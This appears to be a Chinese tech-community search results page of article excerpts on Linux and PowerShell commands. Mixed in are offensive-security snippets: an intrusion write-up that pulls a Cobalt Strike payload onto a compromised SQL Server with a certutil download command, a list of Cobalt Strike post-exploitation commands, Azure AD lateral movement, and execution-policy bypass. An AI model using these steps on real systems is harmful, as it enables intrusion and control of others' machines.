首页
学习
活动
专区
圈层
工具
发布

Linux 中的文件与目录管理解析

使用绝对路径时,无论当前工作目录在哪里,都可以准确地指定文件或目录的位置。相对路径则根据当前工作目录的位置来确定文件或目录的位置,更加灵活和方便。...rmdir 用法:rmdir [选项] 目录名 常用选项: -p:递归地删除目录及其父目录,如果父目录在删除当前目录后变为空目录。...rmdir -p /path/to/directory:递归地删除指定路径下的目录,如果父目录在删除当前目录后变为空目录。...-type type:按照文件类型进行匹配搜索,如 -type f 用于搜索普通文件,-type d 用于搜索目录。-mtime n:按照文件的修改时间进行匹配搜索,其中 n 表示天数。...find /path/to/search -type f -mtime -7:在指定路径下搜索最近 7 天内修改过的普通文件。

63100

【Linux】Linux基本指令(1)

文件都是树状结构,而子节点的父节点只有一个,所以路径定位具有唯一性。...Linux风格的路径分隔符:/ windows风格的路径分隔符:\ Linux文件结构 可以通过 tree 指令查看当前文件的结构,但需先安装这个指令 安装指令:yum install -y tree...蓝色的是目录 指令是可以携带选项的 2.ls -l 列出更多文件的信息 前面第一列是 d 表示:目录文件 - 表示:非目录文件(普通文件) 3.ls -a 显示所有文件,包括隐藏文件...(介绍 UID, GID) -F 在每个文件名后附上一个字符以说明该文件的类型,“*”表示可执行的普通文件;“/”表示目       录;“@”表示符号链接;“|”表示FIFOs;“=”表示套接字(sockets.../day02/ : 相对路径 cd -:返回最近访问目录 cd ~:进入用户家目 家目录 root用户家目录:/ 普通用户家目录:/home/用户名 五.mkdir 指令(在当前目录下创建一个名为

3K11
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    从上而下的死亡:从 Azure 到 On-Prem AD 的横向移动

    不仅可以将计算机加入普通 AD 域或AzureAD 域,还可以将计算机同时加入普通 AD 域和AzureAD 域:这就是微软所说的混合 Azure AD 加入。...模块通过 PowerShell 轻松枚举这些设备。...导入模块并通过租户身份验证后,使用Get-AzureADDevice轻松列出所有加入租户的设备: image.png Get-AzureADDevice返回的对象比默认显示的属性多得多,您可以通过将...其他 Azure 对象(例如用户和组)具有“OnPremSecurityIdentifier”属性,其中列出了对象的本地 SID,但该信息似乎不适用于设备。...在以下位置执行 PowerShell 脚本时,会在端点上创建两个文件: C:\Program 文件 (x86)\Microsoft Intune 管理扩展\Policies\Scripts C:\Program

    3.4K10

    Linux常用指令(1)

    语法:ls [选项][目录或文件] 功能:对于目录,该命令列出该目录下的所有子目录与文件。对于文件,将列出文件名以及其他信息。 ls指令选项: -a 列出目录下的所有文件,包括以 ....(新建目录在mkdir指令) 2.ls -l 如何判断是目录还是普通文件? 3.ls -a 在Linux中,以点.开头的文件是隐藏文件,ls -a就是专门打印隐藏文件的,其它ls指令都做不到。...元数据包括文件的权限、所有者、链接数等属性,不包括文件内容的修改。 mkdir指令 全称:make directory,用于创建目录。...-r 删除目录及其下所有文件。 rm默认只能删除普通文件。 删除dir1及其底下的所有目录。...1 是普通的命令 2 是系统调用,如open,write之类的(通过这个,至少可以很方便的查到调用这个函数,需要 加什么头文件) 3 是库函数,如printf,fread4是特殊文件

    39210

    Windows 终端命令详解:PowerShell 初学者指南

    Windows终端是一个命令行工具,允许用户通过文本命令与系统交互,执行文件管理、系统配置和网络诊断等操作。...或ls(列出目录内容)功能:显示当前文件夹里的文件和子文件夹(PowerShell中实际命令是Get-ChildItem,dir和ls是它的常用别名)。...示例:dir(列出当前目录下的文件和文件夹)ls(效果同dir)dir-Name(仅列出当前目录下文件和文件夹的名称,看起来更简洁)dir-Force(列出当前目录下的所有文件和文件夹,包括隐藏的项目)...dirE:\Users\userE(列出E盘Users\userE目录下的文件和文件夹)展开代码语言:PowerShellAI代码解释#列出F盘userF目录内容F:\Users\userF>dir目录...echo是传统CMD命令,在PowerShell中通常映射到Write-Output。新手提示:Write-Host主要用于向屏幕显示信息,它的输出不能直接通过管道|传递给下一个命令。

    42611

    powershell学习备忘

    设置macOS系统远程连到windows系统的powershell 本地还是更喜欢iTerm2的终端,windows里带的powershell终端实在是用不惯,于是设置了下通过ssh连接到windows...在windows里以普通身份运行PowerShell,在powershell窗口里输出以下命令: new-item -path $profile -itemtype file -force @' set-alias...cmdlet的使用帮助 详细参见这里 别名 cmdlet 的名称由一个动词和一个名词组成,其功能对用户来讲一目了然。...通过此变量,脚本可以使用模块路径来访问其他资源。 $PsVersionTable 包含一个只读哈希表,该哈希表显示有关在当前会话中运行的 Windows PowerShell 版本的详 细信息。...Get-Unique: 从排序列表返回唯一项目。 Group-Object: 指定的属性包含相同值的组对象。

    14.2K60

    2.Powershell基础入门学习必备语法介绍

    Function 列出所有定义的函数, Dir function: $function:tabexpansion FileSystem 访问驱动器,目录和文件 Dir c:...Tips : 本地计算机和当前用户的执行策略存储在注册表中,您无需在PowerShell配置文件中设置执行策略,并且特定会话的执行策略仅存储在内存中,并且在关闭会话时丢失。...Bypass: 没有任何阻止也没有警告或提示;此执行策略设计用于将PowerShell脚本内置到更大的应用程序中的配置,或者用于以PowerShell为具有自己的安全模型的程序的基础的配置。...脚本模块文件具有 .psm1 文件扩展名。 shell 用于将命令传递到操作系统的命令解释器。 开关参数 一个不带实参的形参。 终止错误 阻止 PS 处理命令的错误。...PS数据文件 具有 .psd1 文件扩展名的文本文件。 PS 将数据文件用于多种用途,例如存储模块清单数据和存储用于脚本国际化的已翻译的字符串。 PS驱动器 一个提供直接访问数据存储的虚拟驱动器。

    6.8K10

    易学易用的Windows PowerShell

    初探 Windows PowerShell 任何 shell 都有列出目录、文件的命令,Windows PowerShell 呢?先输入 DOS 的 dir 试试吧! ?...一时兴起,我输入了 UNIX 的 ls 指令,窗口显示了与 dir 指令相同的结果;真有趣(这时候我尚未阅读任何 Windows PowerShell 文件,只是很直觉输入指令)。...get-help 是颇为重要的 cmdlet,可以在线查询所有的 Windows PowerShell 指令和说明文件。例如: • get-help *:列出所有的主题,包括指令和概念。...• get-help {}:列出指定的指令或主题的说明,例如 get-help dir 可以查询 dir 指令的用法,而 get-help about_wildcard 可以查询...一开始曾经使用了 dir 和 ls,虽然这并不是 cmdlet,但的确可用于 Windows PowerShell。

    2K60

    linux入门练级篇: 第一讲 linux基本指令 1

    同理 :文件操作=文件内容操作+文件属性操作(重命名等). ls指令就是用于对文件属性进行操作的 ls全称: list //翻译:链表 指令功能: 对于目录,该命令列出该目录下的所有子目录与文件...对于文件,将列出文件名以及其他信息 . 指令是可以带选项的,用于具体的实现不同的要求: ls的子选项合集: -a 列出目录下的所有文件,包括以 . 开头的隐含文件。...对于文件,将列出文件名以及其他信息(例如:扩展名) . 上图中: dir1、dir2、dir3都是文件夹. test5.txt是名为test5的文本文件 ....举例: 示例:通过cd命令进入子目录dir3. cd dir3 我们可以进去,那么我们可以回退吗? 当然可以,还记得我们在使用ll命令时,每个目录文件都有两个特殊的隐藏文件. “.“和”...."表示当前路径,用于帮助目录定位当前目录下的文件(后续会遇到). 如果我们一直回退呢?最终的根目录在哪? 当我们一直回退时,发现退到’/‘目录下就不能在退了.

    38530

    一次简单又复杂的shell

    既然找不到后台那就直接通过mssql的xp_cmdshell来写shell吧 首先通过—os-cmd=whoami 返回的是system权限 然后再用—...os-shell来实现交互式的shell,再通过powershell来上线cs 首先执行了一下dnslog判断一下目标机器出不出外网 发现主机可以出外网,这时候就可以通过powershell...进行上线啦, 但是执行的时候却命令后缺发现,跟我执行的命令不相同,仿佛再在列出进程的名字。...使用windos自带的证书下载的命令来绕过下载文件 certutil -urlcache -split -f https://xxxxxx cs.exe 下载完后,并执行,这时候nt同事说了一句看下有没有下载成功...,随即执行了dir命令 然后发现执行的目录在C:\Windows\System32,底下有9000+个文件,上面说了执行命令后必须回显完成才可以执行下一个命令,心中一万只草泥马奔腾而过。

    1.1K40

    Cobalt Strike最实用的24条命令(建议收藏)

    本地浏览器通过代理劫持目标的Cookie实现免登录(在访问目标的IE浏览器所访问的网址时,使用的就是目标IE浏览器的Cookie)。...文件管理模块有时会因为权限过高或者过低而无法正常浏览目标的文件。值得注意的是,切换目录、执行文件等动作,本质上都是Beacon在执行命令,所以,会在下一次心跳时才有数据返回。...net computers:通过查询域控制器上的计算机账户列表来查找目标。 net dclist:列出域控制器。 net domain_trusts:列出域信任列表。...net sessions:列出会话。 net share:列出共享的目录和文件。 net user:列出用户。 net time:显示时间。...powerpick模块可以不通过调用powershell.exe来执行命令。

    1K10

    Cobalt Strike最实用的24条命令(建议收藏)

    本地浏览器通过代理劫持目标的Cookie实现免登录(在访问目标的IE浏览器所访问的网址时,使用的就是目标IE浏览器的Cookie)。...文件管理模块有时会因为权限过高或者过低而无法正常浏览目标的文件。值得注意的是,切换目录、执行文件等动作,本质上都是Beacon在执行命令,所以,会在下一次心跳时才有数据返回。...net computers:通过查询域控制器上的计算机账户列表来查找目标。 net dclist:列出域控制器。 net domain_trusts:列出域信任列表。...net sessions:列出会话。 net share:列出共享的目录和文件。 net user:列出用户。 net time:显示时间。...powerpick模块可以不通过调用powershell.exe来执行命令。

    4.2K11

    【linux学习指南】linux指令与实践文件编写

    /media 用于挂载可移动设备,如 CD-ROM、USB 驱动器等。 /mnt 用于临时挂载文件系统。 /opt 用于安装可选的软件包。 /proc 是一个虚拟文件系统,提供了系统内部信息。.../var 用于存储经常变化的文件,如日志、缓存、锁定文件等。...语法:rmdir [-p][dirName] 适用对象:具有当前目录操作权限的所有使用者 功能:删除空目录 常用选项: -p 当子目录被删除后如果父目录也变成空目录的话,就连带父目录一起删除。...指令(重要): Linux的命令有很多参数,我们不可能全记住,我们可以通过查看联机手册获取帮助。...cd ~ 回家 touch指令:建立普通文件如test.c mkdir指令:在当前目录下创建一个名为 “dirname”的目录 如:mkdir dir rmdir指令 && rm 指令:删除空目录

    34710

    Linux入门(1)

    ls –alk 指定文件 -l 列出文件的详细信息。 -n 用数字的 UID,GID 代替名称。...-s 在l文件名后输出该文件的大小。(大小排序,如何找到目录下最大的文件) -R 列出所有子目录下的文件。(递归) -1 一行只输出一个文件。  ...查看当前目录下文件名称ls ls只能显示普通的文件,但是加上-a之后就显示隐藏文件 这就多出了一个.和一个.. .是当前目录     ..是上一级目录 ls -l显示文件的详细属性 并且这些还可以组合使用.../day02/ : 相对路径 cd ~ :进入用户家目 cd - :返回最近访问目录 04. touch指令 语法 :touch [ 选项 ]...  文件 ......rm 命令可以同时删除文件或目录 语法 : rm [-f-i-r-v][dirName/dir] 适用对象 :所有使用者 功能 :删除文件或目录 常用选项 : -f 即使文件属性为只读

    28500

    挖矿恶意程序纪实分析之 Windows 篇

    1、运行cmd.exe,进入c:\windows\dell目录,命令dir /a 查看后,发现该目录下有四个文件,分别是run.bat、run64.bat、svchost.exe和Update64.exe...3、此外,习惯性的运行命令dir /a /od检查,在c:\windows\目下发现一个名为Update.exe文件。...判断:入侵者通过某种入侵手段(未知,比如漏洞攻击、邮件攻击、欺骗手段比如直接发给目标一个update.exe,说是啥啥啥的压缩包文件,让其双击执行解压等)获取系统权限,并执行update.exe解压缩到...b) 怎么能够把一个.bat文件注册为服务进程呢? c) 安装系统服务是必须具备超级用户权限的,入侵者是通过何种手段进入的,又是如何躲避UAC的?...(比如doc文档攻击,里面调用powershell命令下载文件执行?

    4.1K31

    【详解】PowerShell基本命令和绕过权限执行

    文件和目录操作​Get-ChildItem​​:列出目录内容(类似 dir 或 ls)。Get-ChildItem C:\Path\To\Directory​New-Item​​:创建新文件或目录。...PowerShell 基本命令示例文件管理创建目录:New-Item -Path "C:\MyNewFolder" -ItemType Directory列出目录内容:Get-ChildItem -Path...PowerShell 是一个强大的脚本环境,广泛用于系统管理和自动化任务。它提供了丰富的命令集(称为 cmdlet)来帮助管理员完成各种任务。...下面将详细介绍一些基本的 PowerShell 命令以及如何在遇到权限限制时绕过这些限制执行代码。...因此,以下内容仅用于教育目的,以提高对安全实践的理解。PowerShell 基本命令Get-Command: 列出所有可用的 cmdlet、函数、别名等。

    1.3K10

    linux入门练级篇 第二讲 基本指令2

    指令功能: 删除空目录 很显然,rmdir命令只能用于删除空目录. 子选项 -p -p 当子目录被删除后如果父目录也变成空目录的话,就连带父目录一起删除。...即使文件属性为只读(即写保护),不会循环是否删除,而是直接删除 -i 删除前逐一询问确认 -r 删除目录及其下所有文件(递归式删除) 4.21 强制删除 在root账户删除普通文件,或者普通用户在删除只读的文件等一些特殊情况时...那是因为目录是递归式定义的,即使是空目录,那我们在使用rm指令对目录进行删除时,需要使用-r选项 rm -r 目录名 在普通用户下,删除文件或者目录并不询问....如果我们man手册也不会使用,我们可以使用指令: man man帮助我们认识手册. man手册分为8章: 1 是普通的命令 2 是系统调用,如open,write之类的(通过这个,至少可以很方便的查到调用这个函数.../dir4/cp2.txt 6.3 拷贝"目录" 将dir1目录在当前目录下拷贝一份,拷贝后的目录名dir1_cp .

    30420

    【Linux】—一文掌握Linux基本命令(上)

    对于文件,将列出文件名以及其他信息。 常用拓展选项: -a 列出目录下的所有文件,包括以 . 开头的隐含文件。 -d 将目录象文件一样显示,而不是显示其下的文件。...如:ls –d 指定目录 -l 列出文件的详细信息。...,就连带父目录一起删除。...rm命令可以同时删除文件或目录 语法:rm [-f-i-r-v][dirName/dir] 适用对象:所有使用者 功能:删除文件或目录 常用选项: -f 强制删除文件,默认只能删普通文件 -...man 语法: man [选项] 命令 常用选项 1 是普通的命令 2 是系统调用,如open,write之类的(通过这个,至少可以很方便的查到调用这个函数,需要加什么头文件) 3 是库函数,如

    2K30

    【Linux】基本指令(上)

    ] 功能:对于目录,该命令列出该目录下的所有子目录与文件。...对于文件,将列出文件名以及其他信息。 常用选项: -a 列出目录下的所有文件,包括以 . 开头的隐含文件。 -d 将目录象文件一样显示,而不是显示其下的文件。...(介绍 UID, GID) -F 在每个文件名后附上一个字符以说明该文件的类型,“*”表示可执行的普通文件;“/”表示目录;“@”表示符号链接;“|”表示FIFOs;“=”表示套接字(sockets)。...tips: ls -l 等价于 ll ls *.txt 匹配目录下所有.txt为后缀的文件 ls test* 匹配目录下所有名称包含test的文件 使用示例: 当前目录下没有文件时使用ls...rm命令可以同时删除文件或目录 语法:rm [-f-i-r-v][dirName/dir] 适用对象:所有使用者 功能:删除文件或目录 常用选项: -f 即使文件属性为只读(即写保护),

    30910
    领券